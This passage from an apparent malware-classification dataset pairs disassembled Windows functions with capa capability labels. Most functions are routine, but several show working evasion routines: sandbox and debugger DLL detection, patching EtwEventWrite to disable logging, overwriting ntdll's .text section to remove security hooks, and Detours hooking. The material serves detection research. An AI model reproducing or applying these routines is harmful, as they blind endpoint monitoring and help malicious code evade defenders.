joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007c60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x58]
xor r15d, r15d
mov r11, qword [rsp + 0x70]
mov r13, rdx
mov rax, qword [rsp + 0x60]
mov qword [r14], r8
mov qword [r11], rax
mov rdi, qword [r14]
cmp rdi, r9
je 0x180007df3
mov r12, qword [rsp + 0x68]
lea r8d, [r15 + 1]
mov rsi, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
mov ebx, 0x2800
cmp rsi, r12
je 0x180007df3
movzx edx, word [r13]
xor bpl, bpl
movzx ecx, word [rdi]
cmp r8w, dx
jae 0x180007cf9
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x180007e17
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x180007d0f
mov eax, ecx
add cx, bx
cmp cx, r9w
ja 0x180007d0f
shl eax, 0xa
mov bpl, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x180007d22
movzx r9d, al
mov r10d, r15d
mov ebx, r15d
jmp 0x180007d6d
mov r9d, eax
cmp eax, 0x800
jae 0x180007d3c
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov ebx, r8d
jmp 0x180007d6d
cmp eax, 0x10000
jae 0x180007d56
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov ebx, r10d
jmp 0x180007d6d
shr r9d, 0x12
mov r10d, 3
movzx ebx, bpl
or r9b, 0xf0
xor ebx, 1
add ebx, ebx
lea r8d, [rbx + 1]
mov rdx, r12
sub rdx, rsi
mov ecx, r8d
cmp rdx, rcx
jl 0x180007df3
lea rcx, [rdi + 2]
mov qword [r14], rcx
test bpl, bpl
jne 0x180007d91
cmp r10d, 3
jae 0x180007d9d
mov rcx, qword [r11]
mov r8d, ebx
mov byte [rcx], r9b
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jle 0x180007dce
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax + rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jg 0x180007db0
shr eax, 0xa
mov r8d, 1
test bpl, bpl
mov ecx, r8d
cmovne ecx, eax
mov word [r13], cx
mov rdi, qword [r14]
cmp rdi, qword [rsp + 0x50]
jne 0x180007cae
mov rax, qword [rsp + 0x48]
cmp rax, qword [r14]
sete r15b
mov eax, r15d
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 2
jmp 0x180007e02
Function at 0x180008730
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x180014020]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180008803
cmp byte [rcx + 0x71], 0
je 0x180008803
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1800087ff
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1800087c4
sub eax, 1
je 0x1800087c8
cmp eax, 2
jne 0x1800087ff
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18000de50
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1800087f6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1800087ff
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1800087ac
xor al, al
jmp 0x1800087ac
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18000de50
add rsp, 0x60
pop rbx
ret

Function at 0x18000a330
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.18000a550
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x18000a437
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x18000a394
mov rax, qword [0x180014008]
cmp qword [rsp + 0x20], rax
ja 0x18000a394
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18000a356
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x18000a3c3
jmp 0x18000a437
cmp dword [rsp + 0x50], 0x10000
jne 0x18000a41a
cmp qword [rsp + 0x48], 0x10000
jb 0x18000a41a
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18000a408
mov rax, qword [rsp + 0x28]
jmp 0x18000a439
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18000a432
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.18000a550
mov qword [rsp + 0x20], rax
jmp 0x18000a356
xor eax, eax
add rsp, 0x68
ret
Function at 0x18000a440
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.18000a590
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x18000a543
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x18000a49b
mov rax, qword [0x180014008]
cmp qword [rsp + 0x20], rax
ja 0x18000a49b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18000a45d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x18000a4ca
jmp 0x18000a543
cmp dword [rsp + 0x50], 0x10000
jne 0x18000a521
cmp qword [rsp + 0x48], 0x10000
jb 0x18000a521
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18000a50f
mov rax, qword [rsp + 0x28]
jmp 0x18000a545
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18000a53e
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.18000a590
mov qword [rsp + 0x20], rax
jmp 0x18000a45d
xor eax, eax
add rsp, 0x68
ret
Function at 0x18000a5e0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.18000ab70
mov qword [rsp + 0x28], 0
cmp qword [0x1800144d8], 0
jne 0x18000a628
cmp qword [0x1800144d0], 0
je 0x18000a628
mov rax, qword [0x1800144d0]
mov qword [0x1800144d8], rax
cmp qword [0x1800144d8], 0
je 0x18000a6ce
mov rax, qword [0x1800144d8]
cmp qword [rax + 0x10], 0
je 0x18000a6ce
mov rax, qword [0x1800144d8]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18000a6ce
mov rax, qword [0x1800144d8]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18000a6ce
mov rax, qword [0x1800144d8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x18000a694
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x18000a69b
xor eax, eax
jmp 0x18000a849
mov rax, qword [0x1800144d8]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [rsp + 0x28]
jmp 0x18000a849
mov rax, qword [0x1800144d0]
mov qword [0x1800144d8], rax
jmp 0x18000a6f0
mov rax, qword [0x1800144d8]
mov rax, qword [rax + 8]
mov qword [0x1800144d8], rax
cmp qword [0x1800144d8], 0
je 0x18000a73d
cmp qword [0x1800144d8], 0
je 0x18000a73b
mov rax, qword [0x1800144d8]
cmp qword [rax + 0x10], 0
je 0x18000a73b
mov rax, qword [0x1800144d8]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18000a73b
mov rax, qword [0x1800144d8]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18000a73b
jmp 0x18000a66c
jmp 0x18000a6de
mov rcx, qword [rsp + 0x60]
call fcn.18000c9f0
and eax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.18000a850
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x18000a847
mov rax, qword [rsp + 0x48]
mov qword [0x1800144d8], rax
mov rax, qword [0x1800144d8]
mov dword [rax], 0x52727464
mov rax, qword [0x1800144d8]
mov qword [rax + 0x10], 0
mov rax, qword [0x1800144d8]
mov rcx, qword [0x1800144d0]
mov qword [rax + 8], rcx
mov rax, qword [0x1800144d8]
mov qword [0x1800144d0], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x1800144d8]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x18000a7f8
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x18000a832
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x18000a7ee
mov rax, qword [0x1800144d8]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x18000a66c
xor eax, eax
add rsp, 0x58
ret
Function at 0x1400015a1
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x21b0
call fcn.140013030
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x2150], ecx
mov eax, dword [rbp + 0x2150]
mov qword [rbp + 0xd0], rax
mov r10, qword [0x140363090]
lea rcx, [rbp + 0xd0]
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0x118]
mov r9, rcx
mov r8, rdx
mov edx, 0x410
mov rcx, rax
call r10
mov rax, qword [rbp + 0x118]
test rax, rax
jne 0x14000160f
mov ebx, 1
jmp 0x1400017a8
mov rax, qword [rbp + 0x118]
lea rcx, [rbp + 0x114]
lea rdx, [rbp + 0x120]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x140001790
mov dword [rbp + 0x212c], 0
mov eax, dword [rbp + 0x212c]
mov edx, dword [rbp + 0x114]
mov edx, edx
shr rdx, 3
cmp rax, rdx
jae 0x140001790
mov eax, dword [rbp + 0x212c]
mov rdx, qword [rbp + rax*8 + 0x120]
mov rax, qword [rbp + 0x118]
lea rcx, [rbp - 0x40]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x140001784
lea rax, [rbp + 0x212b]
mov rcx, rax
call fcn.14006cb10
lea rcx, [rbp + 0x212b]
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call fcn.1400a48f0
lea rax, [rbp + 0x212b]
mov rcx, rax
call fcn.14006cb40
lea rax, [rbp - 0x60]
mov r8d, 0
lea rdx, str.SbieDll.dll
mov rcx, rax
call fcn.14002f630
cmp rax, 0xffffffffffffffff
jne 0x140001752
lea rax, [rbp - 0x60]
mov r8d, 0
lea rdx, str.Api_log.dll
mov rcx, rax
call fcn.14002f630
cmp rax, 0xffffffffffffffff
jne 0x140001752
lea rax, [rbp - 0x60]
mov r8d, 0
lea rdx, str.Dir_watch.dll
mov rcx, rax
call fcn.14002f630
cmp rax, 0xffffffffffffffff
jne 0x140001752
lea rax, [rbp - 0x60]
mov r8d, 0
lea rdx, str.dbghelp.dll
mov rcx, rax
call fcn.14002f630
cmp rax, 0xffffffffffffffff
je 0x140001759
mov eax, 1
jmp 0x14000175e
mov eax, 0
test al, al
je 0x14000176e
mov ebx, 2
mov esi, 0
jmp 0x140001773
mov esi, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a4f40
cmp esi, 1
jne 0x1400017a8
add dword [rbp + 0x212c], 1
jmp 0x14000164c
mov rdx, qword [0x140363088]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call rdx
mov ebx, 0
mov eax, ebx
jmp 0x1400017c9
add rsp, 0x21b0
pop rbx
pop rsi
pop rbp
ret
Function at 0x1400017d4
Capabilities:
Enumerate process modules

Disassembly:
push rbp
mov eax, 0x1050
call fcn.140013030
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x54]
lea rax, [rbp - 0x50]
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
sete al
test al, al
je 0x140001815
mov eax, 1
jmp 0x140001896
mov eax, dword [rbp - 0x54]
shr eax, 2
mov dword [rbp + 0xfc4], eax
mov dword [rbp + 0xfc8], 0
cmp dword [rbp + 0xfc8], 2
je 0x140001891
mov dword [rbp + 0xfcc], 0
mov eax, dword [rbp + 0xfcc]
cmp eax, dword [rbp + 0xfc4]
jae 0x14000182b
mov eax, dword [rbp + 0xfcc]
mov eax, dword [rbp + rax*4 - 0x50]
mov ecx, eax
call fcn.1400015a1
mov dword [rbp + 0xfc0], eax
cmp dword [rbp + 0xfc0], 2
jne 0x140001888
mov eax, dword [rbp + 0xfc0]
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfcc]
mov eax, dword [rbp + rax*4 - 0x50]
mov dword [rbp + 0xfbc], eax
add dword [rbp + 0xfcc], 1
jmp 0x14000183e
mov eax, 0
add rsp, 0x1050
pop rbp
ret
Function at 0x140001c75
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov dword [rbp - 0x18], 0
movabs rax, 0x746e657645777445
mov qword [rbp - 0x26], rax
mov dword [rbp - 0x1e], 0x74697257
mov word [rbp - 0x1a], 0x65
mov dword [rbp - 0x2c], 0x6c64746e
mov word [rbp - 0x28], 0x6c
mov dword [rbp - 0x30], 0xc3c03348
lea rax, [rbp - 0x2c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp - 0x26]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140001d58
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x11]
mov rcx, rax
call fcn.1400018a0
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp]
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov eax, dword [rbp + 0x10]
mov dword [rbp - 0x40], eax
movzx eax, word [rbp + 0x14]
mov word [rbp - 0x3c], ax
movzx eax, byte [rbp + 0x16]
mov byte [rbp - 0x3a], al
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001ed40
mov eax, 0
jmp 0x140001e89
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140001de5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x1f]
mov rcx, rax
call fcn.1400019ea
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov eax, dword [rbp + 0x40]
mov dword [rbp - 0x40], eax
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001ec50
mov eax, 0
jmp 0x140001e89
mov edx, dword [rbp - 0x30]
mov rax, qword [rbp + 0x88]
mov dword [rax], edx
mov edx, dword [rbp - 0x18]
lea rcx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rcx
mov r8d, edx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x80], eax
cmp dword [rbp + 0x80], 0
jne 0x140001e84
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.140001b1c
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x68]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x40], rax
movzx eax, byte [rbp + 0x78]
mov byte [rbp - 0x38], al
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001ef20
mov eax, 0
jmp 0x140001e89
mov eax, 1
add rsp, 0x118
pop rbx
pop rbp
ret
Function at 0x140002137
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov word [rbp + 0x50], 0x5c
mov word [rbp + 0x52], 0x4b
mov word [rbp + 0x54], 0x6e
mov word [rbp + 0x56], 0x6f
mov word [rbp + 0x58], 0x77
mov word [rbp + 0x5a], 0x6e
mov word [rbp + 0x5c], 0x44
mov word [rbp + 0x5e], 0x6c
mov word [rbp + 0x60], 0x6c
mov word [rbp + 0x62], 0x73
mov word [rbp + 0x64], 0x5c
mov word [rbp + 0x66], 0x6e
mov word [rbp + 0x68], 0x74
mov word [rbp + 0x6a], 0x64
mov word [rbp + 0x6c], 0x6c
mov word [rbp + 0x6e], 0x6c
mov word [rbp + 0x70], 0x2e
mov word [rbp + 0x72], 0x64
mov word [rbp + 0x74], 0x6c
mov word [rbp + 0x76], 0x6c
mov word [rbp + 0x78], 0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x80]
mov rcx, rax
call sub.ntdll.dll_RtlInitUnicodeString
mov dword [rbp + 0x20], 0x30
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x38], 0x40
lea rax, [rbp + 0x80]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov r9, qword [0x140363040]
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x18]
mov r8, rdx
mov edx, 0xc
mov rcx, rax
call r9
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jns 0x1400022a6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x9f]
mov rcx, rax
call fcn.140001e94
mov rax, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.14001ee30
mov eax, 0
jmp 0x140002399
mov qword [rbp + 0x10], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x100], 0
mov r10, qword [0x140363038]
mov rax, qword [rbp + 0x18]
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rdx, [rbp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov rdx, 0xffffffffffffffff
mov rcx, rax
call r10
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jns 0x140002395
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0xcf]
mov rcx, rax
call fcn.140001fe6
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xe8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.14001ee30
mov eax, 0
jmp 0x140002399
mov rax, qword [rbp + 0x10]
add rsp, 0x198
pop rbx
pop rbp
ret
Function at 0x140002455
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400024d8
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x41]
mov rcx, rax
call fcn.1400023a4
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
mov eax, dword [rbp - 0x30]
mov dword [rbp - 0x60], eax
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14001e9b0
mov eax, 0
jmp 0x140002600
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x48], 0
mov word [rbp - 0x22], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
cmp word [rbp - 0x22], ax
jae 0x140002600
mov dword [rbp - 0x4e], 0x7865742e
mov word [rbp - 0x4a], 0x74
mov rax, qword [rbp - 0x20]
lea rdx, [rbp - 0x4e]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400025f9
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x28], eax
cmp dword [rbp - 0x28], 0
jne 0x14000257b
mov eax, 0
jmp 0x140002600
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov ecx, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov r8d, eax
mov rax, qword [rbp - 8]
add rax, r8
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp - 0x48]
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
jne 0x1400025f9
mov eax, 0
jmp 0x140002600
mov eax, 1
jmp 0x140002600
add rsp, 0x90
pop rbp
ret
Function at 0x140012260
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001e390
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001e390
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x1400122d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x140363144]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140012480
mov rax, qword [0x140363148]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14001231c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400123a7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140012300
mov rcx, r12
call fcn.140012d80
mov rbp, rax
test rax, rax
je 0x1400124dd
mov rax, qword [0x140363148]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.140012eb0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140363148]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400124c2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400123a0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140012430
add dword [0x140363144], 1
cmp ebx, 8
jae 0x1400123d8
test bl, 4
jne 0x140012490
test ebx, ebx
je 0x1400123c9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x1400124b0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x1400123c9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
